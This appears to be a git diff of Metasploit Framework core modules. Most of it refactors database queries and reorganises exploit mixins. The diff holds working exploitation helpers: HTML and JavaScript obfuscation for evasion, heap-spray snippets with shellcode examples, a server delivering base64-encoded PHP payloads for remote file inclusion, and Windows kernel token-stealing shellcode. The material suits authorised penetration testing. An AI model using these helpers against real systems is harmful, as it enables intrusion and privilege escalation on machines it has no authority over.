vuln = host.vulns.where({ 'service_id' => nil, 'refs.id' => refs_ids }).includes(:refs).sort { |a,b|
( refs_ids - a.refs.map{|x| x.id } ).length <=> ( refs_ids - b.refs.map{|x| x.id } ).length
}.first
@ -168,7 +168,7 @@ module Msf::DBManager::Vuln
sname = opts[:proto]
end
service = host.services.find_or_create_by_port_and_proto(opts[:port].to_i, proto)
service = host.services.where(port: opts[:port].to_i, proto: proto).first_or_create
end
# Try to find an existing vulnerability with the same service & references

View File

@ -55,7 +55,7 @@ module Msf::DBManager::Web
# comparisons through ruby and not SQL.
form = nil
::Mdm::WebForm.find_all_by_web_site_id_and_path_and_method_and_query(site[:id], path, meth, quer).each do |xform|
::Mdm::WebForm.where(web_site_id: site[:id], path: path, method: meth, query: quer).each do |xform|
if xform.params == para
form = xform
break
@ -135,7 +135,7 @@ module Msf::DBManager::Web
ret = {}
page = ::Mdm::WebPage.find_or_initialize_by_web_site_id_and_path_and_query(site[:id], path, query)
page = ::Mdm::WebPage.where(web_site_id: site[:id], path: path, query: query).first_or_initialize
page.code = code
page.body = body
page.headers = headers
@ -243,7 +243,7 @@ module Msf::DBManager::Web
=end
vhost ||= host.address
site = ::Mdm::WebSite.find_or_initialize_by_vhost_and_service_id(vhost, serv[:id])
site = ::Mdm::WebSite.where(vhost: vhost, service_id: serv[:id]).first_or_initialize
site.options = opts[:options] if opts[:options]
# XXX:
@ -342,7 +342,7 @@ module Msf::DBManager::Web
meth = meth.to_s.upcase
vuln = ::Mdm::WebVuln.find_or_initialize_by_web_site_id_and_path_and_method_and_pname_and_name_and_category_and_query(site[:id], path, meth, pname, name, cat, quer)
vuln = ::Mdm::WebVuln.where(web_site_id: site[:id], path: path, method: meth, pname: pname, name: name, category: cat, query: quer).first_or_initialize
vuln.name = name
vuln.risk = risk
vuln.params = para

View File

@ -128,7 +128,7 @@ module Msf::DBManager::WMAP
# This methods returns a list of all targets in the database
def requests
::ActiveRecord::Base.connection_pool.with_connection {
::Mdm::WmapRequest.find(:all)
::Mdm::WmapRequest.all
}
end
@ -183,7 +183,7 @@ module Msf::DBManager::WMAP
# This methods returns a list of all targets in the database
def targets
::ActiveRecord::Base.connection_pool.with_connection {
::Mdm::WmapTarget.find(:all)
::Mdm::WmapTarget.all
}
end
end

View File

@ -4,7 +4,7 @@ module Msf::DBManager::Workspace
#
def add_workspace(name)
::ActiveRecord::Base.connection_pool.with_connection {
::Mdm::Workspace.find_or_create_by_name(name)
::Mdm::Workspace.where(name: name).first_or_create
}
end
@ -30,7 +30,7 @@ module Msf::DBManager::Workspace
def workspaces
::ActiveRecord::Base.connection_pool.with_connection {
::Mdm::Workspace.find(:all)
::Mdm::Workspace.all
}
end
end

View File

@ -83,7 +83,11 @@ module Exploit::Remote::Ftp
# convert port to FTP syntax
datahost = "#{$1}.#{$2}.#{$3}.#{$4}"
dataport = ($5.to_i * 256) + $6.to_i
self.datasocket = Rex::Socket::Tcp.create('PeerHost' => datahost, 'PeerPort' => dataport)
self.datasocket = Rex::Socket::Tcp.create(
'PeerHost' => datahost,
'PeerPort' => dataport,
'Context' => { 'Msf' => framework, 'MsfExploit' => self }
)
end
self.datasocket
end

View File

@ -15,6 +15,9 @@ module Msf
###
module Exploit::Remote::HttpServer
autoload :HTML, 'msf/core/exploit/http/server/html'
autoload :PHPInclude, 'msf/core/exploit/http/server/php_include'
include Msf::Exploit::Remote::TcpServer
include Msf::Auxiliary::Report
@ -332,7 +335,7 @@ module Exploit::Remote::HttpServer
end
# Determine the specific OS variant
# Note that we assume windows variants are the
# client version and mismatch server editions.
@ -356,7 +359,7 @@ module Exploit::Remote::HttpServer
when /windows nt 6.2/
fp[:os_name] = 'Windows 8'
when /windows nt 6.3/
fp[:os_name] = 'Windows 8.1'
fp[:os_name] = 'Windows 8.1'
when /gentoo/
fp[:os_vendor] = 'Gentoo'
when /debian/
@ -700,366 +703,4 @@ module Exploit::Remote::HttpServer
Metasploit::Concern.run(self)
end
###
#
# This module provides methods for exploiting an HTTP client by acting
# as an HTTP server.
#
###
module Exploit::Remote::HttpServer::HTML
include Msf::Exploit::Remote::HttpServer
UTF_NONE = 'none'
UTF_7 = 'utf-7'
UTF_7_ALL = 'utf-7-all'
UTF_8 = 'utf-8'
UTF_16_LE = 'utf-16le'
UTF_16_BE = 'utf-16be'
UTF_16_BE_MARKER = 'utf-16be-marker'
UTF_32_LE = 'utf-32le'
UTF_32_BE = 'utf-32be'
protected
def initialize(info = {})
super
register_evasion_options(
[
# utf-8, utf-7 and utf-7-all are currently not supported by
# most browsers. as such, they are not added by default. The
# mixin supports encoding using them, however they are not
# listed in the Option.
OptEnum.new('HTML::unicode', [false, 'Enable HTTP obfuscation via unicode', UTF_NONE, [UTF_NONE, UTF_16_LE, UTF_16_BE, UTF_16_BE_MARKER, UTF_32_LE, UTF_32_BE]]),
OptEnum.new('HTML::base64', [false, 'Enable HTML obfuscation via an embeded base64 html object (IE not supported)', 'none', ['none', 'plain', 'single_pad', 'double_pad', 'random_space_injection']]),
OptInt.new('HTML::javascript::escape', [false, 'Enable HTML obfuscation via HTML escaping (number of iterations)', 0]),
], Exploit::Remote::HttpServer::HTML)
end
#
# Obfuscates symbols found within a javascript string.
#
# Returns an ObfuscateJS object
#
def obfuscate_js(javascript, opts)
js = Rex::Exploitation::ObfuscateJS.new(javascript, opts)
js.obfuscate
return js
end
#
# Encrypts a given javascript string using the provided key.
#
# Returns a string containing the encrypted string and a loader
#
def encrypt_js(javascript, key)
Rex::Exploitation::EncryptJS.encrypt(javascript, key)
end
#
# Returns the heaplib javascript, including any custom javascript supplied
# by the caller.
#
def heaplib(custom_js = '', opts = {})
Rex::Exploitation::HeapLib.new(custom_js, opts).to_s
end
#
# Returns the heaplib2 javascript
#
def js_heaplib2(custom_js = '', opts = {})
@cache_heaplib2 ||= Rex::Exploitation::Js::Memory.heaplib2(custom_js, opts={})
end
def js_base64
@cache_base64 ||= Rex::Exploitation::Js::Utils.base64
end
#
# Downloads data using ajax
#
# Supported arguments:
# method => Optional. HTTP Verb (eg. GET/POST)
# path => Relative path to the file. In IE, you can actually use an URI. But in Firefox, you
# must use a relative path, otherwise you will be blocked by the browser.
# data => Optional. Data to pass to the server
#
# Example of using the ajax_download() function:
# For IE, your web server has to return this header to download binary data:
# "text/plain; charset=x-user-defined"
# <script>
# #{js_ajax_download}
#
# ajax_download({path:"/test.bin"});
# </script>
#
def js_ajax_download
@cache_ajax_download ||= Rex::Exploitation::Js::Network.ajax_download
end
#
# Transfers data using a POST request
#
def js_ajax_post
@cache_ajax_post ||= Rex::Exploitation::Js::Network.ajax_post
end
#
# This function takes advantage of MSTIME's CTIMEAnimationBase::put_values function that's
# suitable for a no-spray technique. There should be an allocation that contains an array of
# pointers to strings that we control, and each string should reside in its own buffer.
# Please note newer IEs (such as IE9), no longer support SMIL, therefore this only works on
# Internet Explorer 8 or prior. Note that "mstime_malloc" also requires a rather specific
# writing style, so make sure you have the following before using:
# * You must have the following at the beginning of your HTML file:
# <!doctype html>
# <HTML XMLNS:t ="urn:schemas-microsoft-com:time">
# * You must have the following in <meta>:
# <meta>
# <?IMPORT namespace="t" implementation="#default#time2">
# </meta>
#
# The "mstime_malloc" JavaScript function supports the following arguments:
# shellcode => The shellcode to place.
# offset => Optional. The pointer index that points to the shellcode.
# heapBlockSize => Object size.
# objId => The ID to your ANIMATECOLOR element.
#
# Example of using "js_mstime_malloc":
# <script>
# #{js_mstime_malloc}
#
# shellcode = unescape("%u4141%u4141%u4141%u4141%u4141");
# offset = 3;
# s = 0x58;
# mstime_malloc({shellcode:shellcode,offset:offset,heapBlockSize:s,objId:oId});
# </script>
#
def js_mstime_malloc
@cache_mstime_malloc ||= Rex::Exploitation::Js::Memory.mstime_malloc
end
#
# This heap spray technique takes advantage of MSHTML's SetStringProperty (or SetProperty)
# function to trigger allocations by ntdll!RtlAllocateHeap. It is based on Corelan's
# publication on "DEPS Precise Heap Spray on Firefox and IE10". In IE, the shellcode
# should land at address 0x0c0d2020, as this is the most consistent location across
# various versions.
#
# The "sprayHeap" JavaScript function supports the following arguments:
# shellcode => The shellcode to spray in JavaScript. Note: Avoid null bytes.
# objId => Optional. The ID for a <div> HTML tag.
# offset => Optional. Number of bytes to align the shellcode, default: 0x00
# heapBlockSize => Optional. Allocation size, default: 0x80000
# maxAllocs => Optional. Number of allocation calls, default: 0x350
#
# Example of using the 'sprayHeap' function:
# <script>
# #{js_property_spray}
#
# var s = unescape("%u4141%u4141%u4242%u4242%u4343%u4343%u4444%u4444");
# sprayHeap({shellcode:s, heapBlockSize:0x80000});
# </script>
#
def js_property_spray
@cache_property_spray ||= Rex::Exploitation::Js::Memory.property_spray
end
def js_heap_spray
@cache_heap_spray ||= Rex::Exploitation::Js::Memory.heap_spray
end
def js_explib2
@explib2 ||= ::Rex::Exploitation::Js::Memory.explib2
end
def js_explib2_payload(payload="exec")
@explib2_payload ||= ::Rex::Exploitation::Js::Memory.explib2_payload(payload)
end
def js_os_detect
@cache_os_detect ||= ::Rex::Exploitation::Js::Detect.os
end
def js_ie_addons_detect
@cache_ie_addons_detect ||= ::Rex::Exploitation::Js::Detect.ie_addons
end
def js_misc_addons_detect
@cache_misc_addons_detect ||= ::Rex::Exploitation::Js::Detect.misc_addons
end
# Transmits a html response to the supplied client
#
# HTML evasions are implemented here.
def send_response_html(cli, body, headers = {})
body = body.to_s.unpack("C*").pack("C*")
if datastore['HTML::base64'] != 'none'
case datastore['HTML::base64']
when 'plain'
body = Rex::Text.encode_base64(body)
when 'single_pad'
body = Rex::Text.encode_base64(' ' + body)
when 'double_pad'
body = Rex::Text.encode_base64(' ' + body)
when 'random_space_injection'
body = Rex::Text.encode_base64(body)
new = ''
while (body.size > 0)
new << body.slice!(0, rand(3) + 1) + Rex::Text.rand_text(rand(5) + 1, '', " \n")
end
body = new
end
body = '<HTML><BODY><OBJECT ID="' + Rex::Text.rand_text_alpha(rand(10)+5) + '" ' +
'HEIGHT="100%" WIDTH="100%" TYPE="text/html" DATA="data:text/html;base64,' +
body + '">Could not render object</OBJECT></BODY></HTML>'
end
if datastore['HTML::javascript::escape'] > 0
datastore['HTML::javascript::escape'].times {
body = '<script>document.write(unescape("' + Rex::Text.to_hex(body, '%') + '"))</script>'
}
end
if [UTF_16_LE, UTF_16_BE, UTF_32_LE, UTF_32_BE, UTF_7, UTF_8].include?(datastore['HTML::unicode'])
headers['Content-Type'] = 'text/html; charset= ' + datastore['HTML::unicode']
body = Rex::Text.to_unicode(body, datastore['HTML::unicode'])
else
# special cases
case datastore['HTML::unicode']
when UTF_16_BE_MARKER
headers['Content-Type'] = 'text/html'
body = "\xFE\xFF" + Rex::Text.to_unicode(body, UTF_16_BE)
when UTF_7_ALL
headers['Content-Type'] = "text/html; charset=#{UTF_7}"
body = Rex::Text.to_unicode(body, UTF_7, 'all')
when UTF_NONE
# do nothing
else
raise RuntimeError, 'Invalid unicode. how did you get here?'
end
end
send_response(cli, body, headers)
end
end
###
#
# This module provides methods for exploiting PHP scripts by acting as an HTTP
# server hosting the payload for Remote File Include vulnerabilities.
#
###
module Exploit::Remote::HttpServer::PHPInclude
include Msf::Exploit::Remote::HttpServer
def initialize(info = {})
# Override TCPServer's stance of passive
super(update_info(info, 'Stance' => Msf::Exploit::Stance::Aggressive))
register_evasion_options(
[
OptEnum.new('PHP::Encode', [false, 'Enable PHP code obfuscation', 'none', ['none', 'base64']]),
], Exploit::Remote::HttpServer::PHPInclude
)
end
# Since these types of vulns are Stance::Aggressive, override HttpServer's
# normal non-automatic behaviour and allow things to run us automatically
def autofilter
true
end
##
# :category: Exploit::Remote::TcpServer overrides
#
# Override exploit() to handle service start/stop
#
# Disables SSL for the service since we always want to serve our evil PHP
# files from a non-ssl server. There are two reasons for this:
# 1. https is only supported on PHP versions after 4.3.0 and only if
# the OpenSSL extension is compiled in, a non-default configuration on
# most systems
# 2. somewhat less importantly, the SSL option would conflict with the
# option for our client connecting to the vulnerable server
#
def exploit
old_ssl = datastore["SSL"]
datastore["SSL"] = false
start_service
datastore["SSL"] = old_ssl
#if (datastore["SRVHOST"] == "0.0.0.0" and Rex::Socket.is_internal?(srvhost_addr))
# print_error("Warning: the URL used for the include might be wrong!")
# print_error("If the target system can route to #{srvhost_addr} it")
# print_error("is safe to ignore this warning. If not, try using a")
# print_error("reverse payload instead of bind.")
#end
begin
print_status("PHP include server started.");
php_exploit
::IO.select(nil, nil, nil, 5)
rescue ::Interrupt
raise $!
ensure
stop_service
end
end
#
# Transmits a PHP payload to the web application
#
def send_php_payload(cli, body, headers = {})
case datastore['PHP::Encode']
when 'base64'
body = "<?php eval(base64_decode('#{Rex::Text.encode_base64(body)}'));?>"
when 'none'
body = "<?php #{body} ?>"
end
send_response(cli, body, headers)
end
##
# :category: Event Handlers
#
# Handle an incoming PHP code request
#
def on_request_uri(cli, request, headers={})
# Re-generate the payload
return if ((p = regenerate_payload(cli)) == nil)
# Send it to the application
send_php_payload(cli, p.encoded, headers)
end
#
# The PHP include URL (pre-encoded)
#
# Does not take SSL into account. For the reasoning behind this, see
# {#exploit}.
#
# @return [String] The URL to be used as the argument in a call to
# +require+, +require_once+, or +include+ or +include_once+ in a
# vulnerable PHP app.
def php_include_url(sock=nil)
host = srvhost_addr
if Rex::Socket.is_ipv6?(host)
host = "[#{host}]"
end
"http://#{host}:#{datastore['SRVPORT']}#{get_resource()}?"
end
end
end

View File

@ -0,0 +1,254 @@
module Msf
###
#
# This module provides methods for exploiting an HTTP client by acting
# as an HTTP server.
#
###
module Exploit::Remote::HttpServer::HTML
include Msf::Exploit::Remote::HttpServer
UTF_NONE = 'none'
UTF_7 = 'utf-7'
UTF_7_ALL = 'utf-7-all'
UTF_8 = 'utf-8'
UTF_16_LE = 'utf-16le'
UTF_16_BE = 'utf-16be'
UTF_16_BE_MARKER = 'utf-16be-marker'
UTF_32_LE = 'utf-32le'
UTF_32_BE = 'utf-32be'
protected
def initialize(info = {})
super
register_evasion_options(
[
# utf-8, utf-7 and utf-7-all are currently not supported by
# most browsers. as such, they are not added by default. The
# mixin supports encoding using them, however they are not
# listed in the Option.
OptEnum.new('HTML::unicode', [false, 'Enable HTTP obfuscation via unicode', UTF_NONE, [UTF_NONE, UTF_16_LE, UTF_16_BE, UTF_16_BE_MARKER, UTF_32_LE, UTF_32_BE]]),
OptEnum.new('HTML::base64', [false, 'Enable HTML obfuscation via an embeded base64 html object (IE not supported)', 'none', ['none', 'plain', 'single_pad', 'double_pad', 'random_space_injection']]),
OptInt.new('HTML::javascript::escape', [false, 'Enable HTML obfuscation via HTML escaping (number of iterations)', 0]),
], Exploit::Remote::HttpServer::HTML)
end
#
# Obfuscates symbols found within a javascript string.
#
# Returns an ObfuscateJS object
#
def obfuscate_js(javascript, opts)
js = Rex::Exploitation::ObfuscateJS.new(javascript, opts)
js.obfuscate
return js
end
#
# Encrypts a given javascript string using the provided key.
#
# Returns a string containing the encrypted string and a loader
#
def encrypt_js(javascript, key)
Rex::Exploitation::EncryptJS.encrypt(javascript, key)
end
#
# Returns the heaplib javascript, including any custom javascript supplied
# by the caller.
#
def heaplib(custom_js = '', opts = {})
Rex::Exploitation::HeapLib.new(custom_js, opts).to_s
end
#
# Returns the heaplib2 javascript
#
def js_heaplib2(custom_js = '', opts = {})
@cache_heaplib2 ||= Rex::Exploitation::Js::Memory.heaplib2(custom_js, opts={})
end
def js_base64
@cache_base64 ||= Rex::Exploitation::Js::Utils.base64
end
#
# Downloads data using ajax
#
# Supported arguments:
# method => Optional. HTTP Verb (eg. GET/POST)
# path => Relative path to the file. In IE, you can actually use an URI. But in Firefox, you
# must use a relative path, otherwise you will be blocked by the browser.
# data => Optional. Data to pass to the server
#
# Example of using the ajax_download() function:
# For IE, your web server has to return this header to download binary data:
# "text/plain; charset=x-user-defined"
# <script>
# #{js_ajax_download}
#
# ajax_download({path:"/test.bin"});
# </script>
#
def js_ajax_download
@cache_ajax_download ||= Rex::Exploitation::Js::Network.ajax_download
end
#
# Transfers data using a POST request
#
def js_ajax_post
@cache_ajax_post ||= Rex::Exploitation::Js::Network.ajax_post
end
#
# This function takes advantage of MSTIME's CTIMEAnimationBase::put_values function that's
# suitable for a no-spray technique. There should be an allocation that contains an array of
# pointers to strings that we control, and each string should reside in its own buffer.
# Please note newer IEs (such as IE9), no longer support SMIL, therefore this only works on
# Internet Explorer 8 or prior. Note that "mstime_malloc" also requires a rather specific
# writing style, so make sure you have the following before using:
# * You must have the following at the beginning of your HTML file:
# <!doctype html>
# <HTML XMLNS:t ="urn:schemas-microsoft-com:time">
# * You must have the following in <meta>:
# <meta>
# <?IMPORT namespace="t" implementation="#default#time2">
# </meta>
#
# The "mstime_malloc" JavaScript function supports the following arguments:
# shellcode => The shellcode to place.
# offset => Optional. The pointer index that points to the shellcode.
# heapBlockSize => Object size.
# objId => The ID to your ANIMATECOLOR element.
#
# Example of using "js_mstime_malloc":
# <script>
# #{js_mstime_malloc}
#
# shellcode = unescape("%u4141%u4141%u4141%u4141%u4141");
# offset = 3;
# s = 0x58;
# mstime_malloc({shellcode:shellcode,offset:offset,heapBlockSize:s,objId:oId});
# </script>
#
def js_mstime_malloc
@cache_mstime_malloc ||= Rex::Exploitation::Js::Memory.mstime_malloc
end
#
# This heap spray technique takes advantage of MSHTML's SetStringProperty (or SetProperty)
# function to trigger allocations by ntdll!RtlAllocateHeap. It is based on Corelan's
# publication on "DEPS Precise Heap Spray on Firefox and IE10". In IE, the shellcode
# should land at address 0x0c0d2020, as this is the most consistent location across
# various versions.
#
# The "sprayHeap" JavaScript function supports the following arguments:
# shellcode => The shellcode to spray in JavaScript. Note: Avoid null bytes.
# objId => Optional. The ID for a <div> HTML tag.
# offset => Optional. Number of bytes to align the shellcode, default: 0x00
# heapBlockSize => Optional. Allocation size, default: 0x80000
# maxAllocs => Optional. Number of allocation calls, default: 0x350
#
# Example of using the 'sprayHeap' function:
# <script>
# #{js_property_spray}
#
# var s = unescape("%u4141%u4141%u4242%u4242%u4343%u4343%u4444%u4444");
# sprayHeap({shellcode:s, heapBlockSize:0x80000});
# </script>
#
def js_property_spray
@cache_property_spray ||= Rex::Exploitation::Js::Memory.property_spray
end
def js_heap_spray
@cache_heap_spray ||= Rex::Exploitation::Js::Memory.heap_spray
end
def js_explib2
@explib2 ||= ::Rex::Exploitation::Js::Memory.explib2
end
def js_explib2_payload(payload="exec")
@explib2_payload ||= ::Rex::Exploitation::Js::Memory.explib2_payload(payload)
end
def js_os_detect
@cache_os_detect ||= ::Rex::Exploitation::Js::Detect.os
end
def js_ie_addons_detect
@cache_ie_addons_detect ||= ::Rex::Exploitation::Js::Detect.ie_addons
end
def js_misc_addons_detect
@cache_misc_addons_detect ||= ::Rex::Exploitation::Js::Detect.misc_addons
end
# Transmits a html response to the supplied client
#
# HTML evasions are implemented here.
def send_response_html(cli, body, headers = {})
body = body.to_s.unpack("C*").pack("C*")
if datastore['HTML::base64'] != 'none'
case datastore['HTML::base64']
when 'plain'
body = Rex::Text.encode_base64(body)
when 'single_pad'
body = Rex::Text.encode_base64(' ' + body)
when 'double_pad'
body = Rex::Text.encode_base64(' ' + body)
when 'random_space_injection'
body = Rex::Text.encode_base64(body)
new = ''
while (body.size > 0)
new << body.slice!(0, rand(3) + 1) + Rex::Text.rand_text(rand(5) + 1, '', " \n")
end
body = new
end
body = '<HTML><BODY><OBJECT ID="' + Rex::Text.rand_text_alpha(rand(10)+5) + '" ' +
'HEIGHT="100%" WIDTH="100%" TYPE="text/html" DATA="data:text/html;base64,' +
body + '">Could not render object</OBJECT></BODY></HTML>'
end
if datastore['HTML::javascript::escape'] > 0
datastore['HTML::javascript::escape'].times {
body = '<script>document.write(unescape("' + Rex::Text.to_hex(body, '%') + '"))</script>'
}
end
if [UTF_16_LE, UTF_16_BE, UTF_32_LE, UTF_32_BE, UTF_7, UTF_8].include?(datastore['HTML::unicode'])
headers['Content-Type'] = 'text/html; charset= ' + datastore['HTML::unicode']
body = Rex::Text.to_unicode(body, datastore['HTML::unicode'])
else
# special cases
case datastore['HTML::unicode']
when UTF_16_BE_MARKER
headers['Content-Type'] = 'text/html'
body = "\xFE\xFF" + Rex::Text.to_unicode(body, UTF_16_BE)
when UTF_7_ALL
headers['Content-Type'] = "text/html; charset=#{UTF_7}"
body = Rex::Text.to_unicode(body, UTF_7, 'all')
when UTF_NONE
# do nothing
else
raise RuntimeError, 'Invalid unicode. how did you get here?'
end
end
send_response(cli, body, headers)
end
end
end

View File

@ -0,0 +1,116 @@
module Msf
###
#
# This module provides methods for exploiting PHP scripts by acting as an HTTP
# server hosting the payload for Remote File Include vulnerabilities.
#
###
module Exploit::Remote::HttpServer::PHPInclude
include Msf::Exploit::Remote::HttpServer
def initialize(info = {})
# Override TCPServer's stance of passive
super(update_info(info, 'Stance' => Msf::Exploit::Stance::Aggressive))
register_evasion_options(
[
OptEnum.new('PHP::Encode', [false, 'Enable PHP code obfuscation', 'none', ['none', 'base64']]),
], Exploit::Remote::HttpServer::PHPInclude
)
end
# Since these types of vulns are Stance::Aggressive, override HttpServer's
# normal non-automatic behaviour and allow things to run us automatically
def autofilter
true
end
##
# :category: Exploit::Remote::TcpServer overrides
#
# Override exploit() to handle service start/stop
#
# Disables SSL for the service since we always want to serve our evil PHP
# files from a non-ssl server. There are two reasons for this:
# 1. https is only supported on PHP versions after 4.3.0 and only if
# the OpenSSL extension is compiled in, a non-default configuration on
# most systems
# 2. somewhat less importantly, the SSL option would conflict with the
# option for our client connecting to the vulnerable server
#
def exploit
old_ssl = datastore["SSL"]
datastore["SSL"] = false
start_service
datastore["SSL"] = old_ssl
#if (datastore["SRVHOST"] == "0.0.0.0" and Rex::Socket.is_internal?(srvhost_addr))
# print_error("Warning: the URL used for the include might be wrong!")
# print_error("If the target system can route to #{srvhost_addr} it")
# print_error("is safe to ignore this warning. If not, try using a")
# print_error("reverse payload instead of bind.")
#end
begin
print_status("PHP include server started.");
php_exploit
::IO.select(nil, nil, nil, 5)
rescue ::Interrupt
raise $!
ensure
stop_service
end
end
#
# Transmits a PHP payload to the web application
#
def send_php_payload(cli, body, headers = {})
case datastore['PHP::Encode']
when 'base64'
body = "<?php eval(base64_decode('#{Rex::Text.encode_base64(body)}'));?>"
when 'none'
body = "<?php #{body} ?>"
end
send_response(cli, body, headers)
end
##
# :category: Event Handlers
#
# Handle an incoming PHP code request
#
def on_request_uri(cli, request, headers={})
# Re-generate the payload
return if ((p = regenerate_payload(cli)) == nil)
# Send it to the application
send_php_payload(cli, p.encoded, headers)
end
#
# The PHP include URL (pre-encoded)
#
# Does not take SSL into account. For the reasoning behind this, see
# {#exploit}.
#
# @return [String] The URL to be used as the argument in a call to
# +require+, +require_once+, or +include+ or +include_once+ in a
# vulnerable PHP app.
def php_include_url(sock=nil)
host = srvhost_addr
if Rex::Socket.is_ipv6?(host)
host = "[#{host}]"
end
"http://#{host}:#{datastore['SRVPORT']}#{get_resource()}?"
end
end
end

View File

@ -116,10 +116,12 @@ module Exploit::Local::WindowsKernel
# original token to so it can be restored later.
# @param arch [String] The architecture to return shellcode for. If this is nil,
# the arch will be guessed from the target and then module information.
# @param append_ret [Boolean] Append a ret instruction for use when being called
# in place of HaliQuerySystemInformation.
# @return [String] The token stealing shellcode.
# @raise [ArgumentError] If the arch is incompatible.
#
def token_stealing_shellcode(target, backup_token = nil, arch = nil)
def token_stealing_shellcode(target, backup_token = nil, arch = nil, append_ret = true)
arch = target.opts['Arch'] if arch.nil? && target && target.opts['Arch']
if arch.nil? && module_info['Arch']
arch = module_info['Arch']
@ -144,15 +146,17 @@ module Exploit::Local::WindowsKernel
tokenstealing << "\x89\x1d" + [backup_token].pack('V') # mov dword ptr ds:backup_token, ebx # Optionaly write a copy of the token to the address provided
end
tokenstealing << "\x8b\x80" + target['_APLINKS'] + "\x00\x00\x00" # mov eax, dword ptr [eax+88h] <====| # Retrieve FLINK from ActiveProcessLinks
tokenstealing << "\x81\xe8" + target['_APLINKS'] + "\x00\x00\x00" # sub eax,88h | # Retrieve _EPROCESS Pointer from the ActiveProcessLinks
tokenstealing << "\x81\xe8" + target['_APLINKS'] + "\x00\x00\x00" # sub eax, 88h | # Retrieve _EPROCESS Pointer from the ActiveProcessLinks
tokenstealing << "\x81\xb8" + target['_UPID'] + "\x00\x00\x00\x04\x00\x00\x00" # cmp dword ptr [eax+84h], 4 | # Compares UniqueProcessId with 4 (The System Process on Windows XP)
tokenstealing << "\x75\xe8" # jne 0000101e ======================
tokenstealing << "\x8b\x90" + target['_TOKEN'] + "\x00\x00\x00" # mov edx,dword ptr [eax+0C8h] # Retrieves TOKEN and stores on EDX
tokenstealing << "\x75\xe8" # jne 0000101e ======================|
tokenstealing << "\x8b\x90" + target['_TOKEN'] + "\x00\x00\x00" # mov edx, dword ptr [eax+0C8h] # Retrieves TOKEN and stores on EDX
tokenstealing << "\x8b\xc1" # mov eax, ecx # Retrieves KPROCESS stored on ECX
tokenstealing << "\x89\x90" + target['_TOKEN'] + "\x00\x00\x00" # mov dword ptr [eax+0C8h],edx # Overwrites the TOKEN for the current KPROCESS
tokenstealing << "\x5b" # pop ebx # Restores ebx
tokenstealing << "\x5a" # pop edx # Restores edx
tokenstealing << "\xc2\x10" # ret 10h # Away from the kernel!
if append_ret
tokenstealing << "\xc2\x10" # ret 10h # Away from the kernel!
end
else
# if this is reached the issue most likely exists in the exploit module
print_error('Unsupported arch for token stealing shellcode')

View File

@ -296,8 +296,8 @@ EOS
if opts[:prepend_sleep]
if opts[:prepend_sleep].to_i > 0
psh_payload = "Start-Sleep -s #{opts[:prepend_sleep]};" << psh_payload
else
vprint_error('Sleep time must be greater than 0 seconds')
elsif opts[:prepend_sleep].to_i < 0
vprint_error('Sleep time must be greater than or equal to 0 seconds')
end
end

View File

@ -11,6 +11,9 @@ require 'msf/core/exploit/jsobfu'
#
# The BrowserExploitServer mixin provides methods to do common tasks seen in modern browser
# exploitation, and is designed to work against common setups such as on Windows, OSX, and Linux.
# Wiki documentations about this mixin can be found here:
# https://github.com/rapid7/metasploit-framework/wiki/How-to-write-a-browser-exploit-using-BrowserExploitServer
# https://github.com/rapid7/metasploit-framework/wiki/Information-About-Unmet-Browser-Exploit-Requirements
#
###
@ -87,10 +90,28 @@ module Msf
register_advanced_options([
OptString.new('CookieName', [false, "The name of the tracking cookie", DEFAULT_COOKIE_NAME]),
OptString.new('CookieExpiration', [false, "Cookie expiration in years (blank=expire on exit)"])
OptString.new('CookieExpiration', [false, "Cookie expiration in years (blank=expire on exit)"]),
OptString.new('Custom404', [false, "An external custom 404 URL (Example: http://example.com/404.html)"])
], Exploit::Remote::BrowserExploitServer)
end
def setup
custom_404 = get_custom_404_url
if !custom_404.blank? && custom_404 !~ /^http/i
raise Msf::OptionValidateError.new(['Custom404 (must begin with http or https)'])
end
super
end
#
# Returns the custom 404 URL set by the user
#
# @return [String]
#
def get_custom_404_url
datastore['Custom404'].to_s
end
#
# Allows a block of code to access BES resources in a thread-safe fashion
#
@ -106,7 +127,7 @@ module Msf
# @return [String] URI to the exploit page
#
def get_module_resource
"#{get_resource.chomp("/")}/#{@exploit_receiver_page}/"
"#{get_resource.to_s.chomp("/")}/#{@exploit_receiver_page}/"
end
#
@ -514,6 +535,7 @@ module Msf
end
else
print_error("Target has requested an unknown path: #{request.uri}")
send_not_found(cli)
end
end
@ -578,5 +600,19 @@ module Msf
end
end
private
#
# Sends a 404 respons. If a custom 404 is configured, then it will redirect to that instead.
#
def send_not_found(cli)
custom_404_url = get_custom_404_url
if custom_404_url.blank?
super(cli)
else
send_redirect(cli, custom_404_url)
end
end
end
end

View File

@ -20,9 +20,10 @@ module Exploit::Remote::SMBServer
def initialize(info = {})
super
deregister_options('SSL', 'SSLCert')
register_options(
[
OptPort.new('SRVPORT', [ true, "The local port to listen on.", 445 ])
OptPort.new('SRVPORT', [ true, "The local port to listen on.", 445 ])
], self.class)
end

View File

@ -26,6 +26,7 @@ module Exploit::Remote::SMTPDeliver
[
OptAddress.new("RHOST", [ true, "The SMTP server to send through" ]),
OptPort.new("RPORT", [ true, "The SMTP server port (e.g. 25, 465, 587, 2525)", 25 ]),
OptString.new('DATE', [false, 'Override the DATE: field with this value', '']),
OptString.new('MAILFROM', [ true, 'The FROM address of the e-mail', 'random@example.com' ]),
OptString.new('MAILTO', [ true, 'The TO address of the email' ]),
OptString.new('SUBJECT', [ true, 'Subject line of the email' ]),
@ -142,6 +143,19 @@ module Exploit::Remote::SMTPDeliver
resp = raw_send_recv("DATA\r\n", nsock)
# If the user supplied a Date field, use that, else use the current
# DateTime in the proper RFC2822 format.
if datastore['DATE'].present?
raw_send_recv("Date: #{datastore['DATE']}\r\n", nsock)
else
raw_send_recv("Date: #{DateTime.now.rfc2822}\r\n", nsock)
end
# If the user supplied a Subject field, use that
if datastore['SUBJECT'].present?
raw_send_recv("Subject: #{datastore['SUBJECT']}\r\n", nsock)
end
# Avoid sending tons of data and killing the connection if the server
# didn't like us.
if not resp or not resp[0,3] == '354'

View File

@ -224,7 +224,7 @@ protected
# Record the detailed reason
exploit.fail_detail ||= e.to_s
case e.class
case e
when Msf::Exploit::Complete
# Nothing to show in this case
return
@ -271,20 +271,14 @@ protected
exploit.fail_reason = Msf::Exploit::Failure::Unknown
end
elog("Exploit failed (#{exploit.refname}): #{msg}", 'core', LEV_0)
if exploit.fail_reason == Msf::Exploit::Failure::Unknown
exploit.print_error("Exploit failed: #{msg}")
exploit.print_error("Call stack:")
e.backtrace.each do |line|
break if line =~ /lib.msf.base.core.exploit_driver.rb/
exploit.print_error(" #{line}")
end
elog("Call stack:\n#{e.backtrace.join("\n")}", 'core', LEV_0)
else
